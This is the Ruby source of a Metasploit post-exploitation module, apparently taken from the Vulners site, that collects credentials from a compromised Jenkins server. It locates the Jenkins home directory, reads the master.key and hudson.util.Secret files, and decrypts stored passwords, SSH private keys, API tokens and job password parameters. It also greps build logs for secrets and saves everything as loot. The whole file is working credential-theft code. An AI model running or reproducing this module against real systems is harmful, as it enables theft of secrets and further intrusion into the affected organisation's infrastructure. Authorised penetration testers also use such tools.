require 'nokogiri'
require 'base64'
require 'digest'
require 'openssl'
require 'sshkey'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::System
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Jenkins Credential Collector',
'Description' => %q{
This module can be used to extract saved Jenkins credentials, user
tokens, SSH keys, and secrets. Interesting files will be stored in
loot along with combined csv output.
},
'License' => MSF_LICENSE,
'Author' => [ 'thesubtlety' ],
'Platform' => [ 'linux', 'win' ],
'SessionTypes' => %w[shell meterpreter],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_search
]
}
}
)
)
register_options(
[
OptString.new('JENKINS_HOME', [ false, 'Set to the home directory of Jenkins. The Linux versions default to /var/lib/jenkins, but C:\\\\ProgramData\\\\Jenkins\\\\.jenkins on Windows.', ]),
OptBool.new('STORE_LOOT', [false, 'Store files in loot (will simply output file to console if set to false).', true]),
OptBool.new('SEARCH_JOBS', [false, 'Search through job history logs for interesting keywords. Increases runtime.', false])
]
)
@nodes = []
@creds = []
@ssh_keys = []
@api_tokens = []
end
def report_creds(user, pass)
return if user.blank? || pass.blank?
credential_data = {
origin_type: :session,
post_reference_name: fullname,
private_data: pass,
private_type: :password,
session_id: session_db_id,
username: user,
workspace_id: myworkspace_id
}
create_credential(credential_data)
end
def parse_credentialsxml(file)
# Newer versions of Jenkins do not create `credentials.xml` until credentials have been added via Jenkins client
# tested on versions 2.401.1, 2.346.3
if exists?(file)
vprint_status('Parsing credentials.xml...')
f = read_file(file)
if datastore['STORE_LOOT']
loot_path = store_loot('jenkins.creds', 'text/xml', session, f, file)
vprint_status("File credentials.xml saved to #{loot_path}")
end
else
vprint_status('There is no credential.xml file present')
end
xml_doc = Nokogiri::XML(f)
xml_doc.xpath('//com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl').each do |node|
username = node.xpath('username').text
password = decrypt(node.xpath('password').text)
description = node.xpath('description').text
print_good("Credentials found - Username: #{username} Password: #{password}")
report_creds(username, password)
@creds << [username, password, description]
end
xml_doc.xpath('//com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey').each do |node|
cred_id = node.xpath('id').text
username = node.xpath('username').text
description = node.xpath('description').text
passphrase = node.xpath('passphrase').text
passphrase = decrypt(passphrase)
private_key = node.xpath('//privateKeySource//privateKey').text
private_key = decrypt(private_key) if !private_key.match?(/----BEGIN/)
print_good("SSH Key found! ID: #{cred_id} Passphrase: #{passphrase || '<empty>'} Username: #{username} Description: #{description}")
store_loot("ssh-#{cred_id}", 'text/plain', session, private_key, nil, nil) if datastore['STORE_LOOT']
@ssh_keys << [cred_id, description, passphrase, username, private_key]
begin
k = OpenSSL::PKey::RSA.new(private_key, passphrase)
key = SSHKey.new(k, passphrase: passphrase, comment: cred_id)
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
private_type: :ssh_key,
private_data: key.key_object.to_s,
username: cred_id,
workspace_id: myworkspace_id
}
create_credential(credential_data)
rescue OpenSSL::OpenSSLError => e
print_error("Could not save SSH key to creds: #{e.message}")
end
end
end
def parse_users(file)
f = read_file(file)
fname = file.tr('\\', '/').split('/')[-2]
vprint_status("Parsing user #{fname}...")
username = ''
api_token = ''
xml_doc = Nokogiri::XML(f)
xml_doc.xpath('//user').each do |node|
username = node.xpath('fullName').text
end
xml_doc.xpath('//jenkins.security.ApiTokenProperty').each do |node|
api_token = decrypt(node.xpath('apiToken').text)
end
if api_token
print_good("API Token found - Username: #{username} Token: #{api_token}")
@api_tokens << [username, api_token]
report_creds(username, api_token)
store_loot("user-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
end
end
def parse_nodes(file)
f = read_file(file)
fname = file.tr('\\', '/').split('/')[-2]
vprint_status("Parsing node #{fname}...")
node_name = ''
description = ''
host = ''
port = ''
cred_id = ''
xml_doc = Nokogiri::XML(f)
xml_doc.xpath('//slave').each do |node|
node_name = node.xpath('name').text
description = node.xpath('description').text
end
xml_doc.xpath('//launcher').each do |node|
host = node.xpath('host').text
port = node.xpath('port').text
cred_id = node.xpath('credentialsId').text
end
@nodes << [node_name, host, port, description, cred_id]
print_good("Node Info found - Name: #{node_name} Host: #{host} Port: #{port} CredID: #{cred_id}")
store_loot("node-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
end
def parse_jobs(file)
f = read_file(file)
fname = file.tr('\\', '/').split('/')[-4]
vprint_status("Parsing job #{fname}...")
username = ''
pw = ''
job_name = file.split(%r{/jobs/(.*?)/builds/})[1]
xml_doc = Nokogiri::XML(f)
xml_doc.xpath('//hudson.model.PasswordParameterValue').each do |node|
username = node.xpath('name').text
pw = decrypt(node.xpath('value').text)
end
@creds << [username, pw, '']
print_good("Job Info found - Job Name: #{job_name} User: #{username} Password: #{pw}") if !pw.blank?
store_loot("job-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
end
def pretty_print_gathered
creds_table = Rex::Text::Table.new(
'Header' => 'Creds',
'Indent' => 1,
'Columns' =>
[
'Username',
'Password',
'Description'
]
)
@creds.uniq.each { |e| creds_table << e }
print_good("\n" + creds_table.to_s) if !creds_table.rows.count.zero?
store_loot('all.creds.csv', 'text/plain', session, creds_table.to_csv, nil, nil) if datastore['STORE_LOOT']
api_table = Rex::Text::Table.new(
'Header' => 'API Keys',
'Indent' => 1,
'Columns' =>
[
'Username',
'API Tokens'
]
)
@api_tokens.uniq.each { |e| api_table << e }
print_good("\n" + api_table.to_s) if !api_table.rows.count.zero?
store_loot('all.apitokens.csv', 'text/plain', session, api_table.to_csv, nil, nil) if datastore['STORE_LOOT']
node_table = Rex::Text::Table.new(
'Header' => 'Nodes',
'Indent' => 1,
'Columns' =>
[
'Node Name',
'Hostname',
'Port',
'Description',
'Cred Id'
]
)
@nodes.uniq.each { |e| node_table << e }
print_good("\n" + node_table.to_s) if !node_table.rows.count.zero?
store_loot('all.nodes.csv', 'text/plain', session, node_table.to_csv, nil, nil) if datastore['STORE_LOOT']
@ssh_keys.uniq.each do |e|
print_good('SSH Key')
print_status(" ID: #{e[0]}")
print_status(" Description: #{e[1]}") if !e[1].blank?
print_status(" Passphrase: #{e[2]}") if !e[2].blank?
print_status(" Username: #{e[3]}") if !e[3].blank?
print_status("\n#{e[4]}")
end
ssh_output = @ssh_keys.each { |e| e.join(',') + "\n\n\n" }
store_loot('all.sshkeys', 'text/plain', session, ssh_output, nil, nil) if datastore['STORE_LOOT'] && !ssh_output.empty?
end
def grep_job_history(path, platform)
print_status('Searching through job history for interesting keywords...')
case platform
when 'windows'
results = cmd_exec('cmd.exe', "/c findstr /s /i \"secret key token password\" \"#{path}*log\"")
when 'nix'
results = cmd_exec('/bin/egrep', "-ir \"password|secret|key\" --include log \"#{path}\"")
end
store_loot('jobhistory.truffles', 'text/plain', session, results, nil, nil) if datastore['STORE_LOOT'] && !results.empty?
print_good("Job Log truffles:\n#{results}") if !results.empty?
end
def find_configs(path, platform)
case platform
when 'windows'
case session.type
when 'meterpreter'
configs = ''
c = session.fs.file.search(path, 'config.xml', true, -1) \
.concat(session.fs.file.search(path, 'build.xml', true, -1))
c.each { |f| configs << f['path'] + '\\' + f['name'] + "\n" }
else
configs = cmd_exec('cmd.exe', "/c dir /b /s \"#{path}\\*config.xml\" \"#{path}\\*build.xml\"")
end
configs.split("\n").each do |f|
case f
when /\\users\\/
parse_users(f)
when /\\jobs\\/
parse_jobs(f)
when /\\nodes\\/
parse_nodes(f)
end
end
when 'nix'
configs = cmd_exec('/usr/bin/find', "\"#{path}\" -name config.xml -o -name build.xml")
configs.split("\n").each do |f|
case f
when %r{/users/}
parse_users(f)
when %r{/jobs/}
parse_jobs(f)
when %r{/nodes/}
parse_nodes(f)
end
end
end
end
def get_key_material(home, platform)
case platform
when 'windows'
master_key_path = "#{home}\\secrets\\master.key"
hudson_secret_key_path = "#{home}\\secrets\\hudson.util.Secret"
initial_admin_password_path = "#{home}\\secrets\\initialAdminPassword"
when 'nix'
master_key_path = "#{home}/secrets/master.key"
hudson_secret_key_path = "#{home}/secrets/hudson.util.Secret"
initial_admin_password_path = "#{home}/secrets/initialAdminPassword"
end
# Newer versions of Jenkins have an `initialAdminPassword` which contains the initial password set when configuring Jenkins
# tested on versions 2.401.1, 2.346.3, 2.103
if exists?(initial_admin_password_path)
initial_admin_password = read_file(initial_admin_password_path).strip
if datastore['STORE_LOOT']
loot_path = store_loot('initialAdminPassword', 'text/plain', session, initial_admin_password)
print_status("File initialAdminPassword saved to #{loot_path}")
else
print_status("File initialAdminPassword contents: #{initial_admin_password}")
end
else
print_error 'Cannot read initialAdminPassword...'
end
if exists?(master_key_path)
@master_key = read_file(master_key_path)
if datastore['STORE_LOOT']
loot_path = store_loot('master.key', 'text/plain', session, @master_key)
print_status("File master.key saved to #{loot_path}")
else
print_status("File master.key contents: #{@master_key}")
end
else
print_error 'Cannot read master.key...'
end
# Newer versions of Jenkins do not create `hudson.util.Secret` until credentials have been added via Jenkins client
# tested on versions 2.401.1, 2.346.3
if exists?(hudson_secret_key_path)
@hudson_secret_key = read_file(hudson_secret_key_path)
if datastore['STORE_LOOT']
loot_path = store_loot('hudson.util.secret', 'application/octet-stream', session, @hudson_secret_key)
print_status("File hudson.util.Secret saved to #{loot_path}")
end
else
print_error 'Cannot read hudson.util.Secret...'
end
end
def find_home(platform)
if datastore['JENKINS_HOME']
if exist?(datastore['JENKINS_HOME'] + '/secret.key.not-so-secret')
return datastore['JENKINS_HOME']
end
print_status(datastore['JENKINS_HOME'] + ' does not seem to contain secrets.')
end
print_status('Searching for Jenkins directory... This could take some time...')
case platform
when 'windows'
if exists?('C:\\ProgramData\\Jenkins\\.jenkins\\secret.key.not-so-secret')
home = 'C:\\ProgramData\\Jenkins\\.jenkins\\'
else
case session.type
when 'meterpreter'
home = session.fs.file.search(nil, 'secret.key.not-so-secret')[0]['path']
else
home = cmd_exec('cmd.exe', "/c dir /b /s c:\*secret.key.not-so-secret", 120).split('\\')[0..-2].join('\\').strip
end
end
when 'nix'
if exists?('/var/lib/jenkins/secret.key.not-so-secret')
home = '/var/lib/jenkins/'
else
home = cmd_exec('find', "/ -name 'secret.key.not-so-secret' 2>/dev/null", 120).split('/')[0..-2].join('/').strip
end
end
fail_with(Failure::NotFound, 'No Jenkins installation found or readable, exiting...') if !exist?(home)
print_status("Found Jenkins installation at #{home}")
home
end
def gathernix
home = find_home('nix')
get_key_material(home, 'nix')
parse_credentialsxml(home + '/credentials.xml')
find_configs(home, 'nix')
grep_job_history(home + '/jobs/', 'nix') if datastore['SEARCH_JOBS']
pretty_print_gathered
end
def gatherwin
home = find_home('windows')
get_key_material(home, 'windows')
parse_credentialsxml(home + '\\credentials.xml')
find_configs(home, 'windows')
grep_job_history(home + '\\jobs\\', 'windows') if datastore['SEARCH_JOBS']
pretty_print_gathered
end
def run
case session.platform
when 'linux'
gathernix
else
gatherwin
end
end
def decrypt_key(master_key, hudson_secret_key)
# https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c
magic = '::::MAGIC::::'
hashed_master_key = Digest::SHA256.digest(master_key)[0..15]
intermediate = OpenSSL::Cipher.new('AES-128-ECB')
intermediate.decrypt
intermediate.key = hashed_master_key
salted_final = intermediate.update(hudson_secret_key) + intermediate.final
raise 'no magic key in a' if !salted_final.include?(magic)
salted_final[0..15]
end
def decrypt_v2(encrypted)
master_key = @master_key
hudson_secret_key = @hudson_secret_key
key = decrypt_key(master_key, hudson_secret_key)
encrypted_text = Base64.decode64(encrypted).bytes
iv_length = ((encrypted_text[1] & 0xff) << 24) | ((encrypted_text[2] & 0xff) << 16) | ((encrypted_text[3] & 0xff) << 8) | (encrypted_text[4] & 0xff)
data_length = ((encrypted_text[5] & 0xff) << 24) | ((encrypted_text[6] & 0xff) << 16) | ((encrypted_text[7] & 0xff) << 8) | (encrypted_text[8] & 0xff)
if encrypted_text.length != (1 + 8 + iv_length + data_length)
print_error("Invalid encrypted string: #{encrypted}")
end
iv = encrypted_text[9..(9 + iv_length)].pack('C*')[0..15]
code = encrypted_text[(9 + iv_length)..encrypted_text.length].pack('C*').force_encoding('UTF-8')
cipher = OpenSSL::Cipher.new('AES-128-CBC')
cipher.decrypt
cipher.key = key
cipher.iv = iv
text = cipher.update(code) + cipher.final
text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token
text
rescue StandardError => e
print_error(e.to_s)
return 'Could not decrypt string'
end
def decrypt_legacy(encrypted)
# https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c
magic = '::::MAGIC::::'
master_key = @master_key
hudson_secret_key = @hudson_secret_key
encrypted = Base64.decode64(encrypted)
key = decrypt_key(master_key, hudson_secret_key)
cipher = OpenSSL::Cipher.new('AES-128-ECB')
cipher.decrypt
cipher.key = key
text = cipher.update(encrypted) + cipher.final
text = text[0..(text.length - magic.size - 1)]
text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token
text
rescue StandardError => e
print_error(e.to_s)
return 'Could not decrypt string'
end
def decrypt(encrypted)
return if encrypted.empty?
if encrypted[0] == '{' && encrypted[-1] == '}'
decrypt_v2(encrypted)
else
decrypt_legacy(encrypted)
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation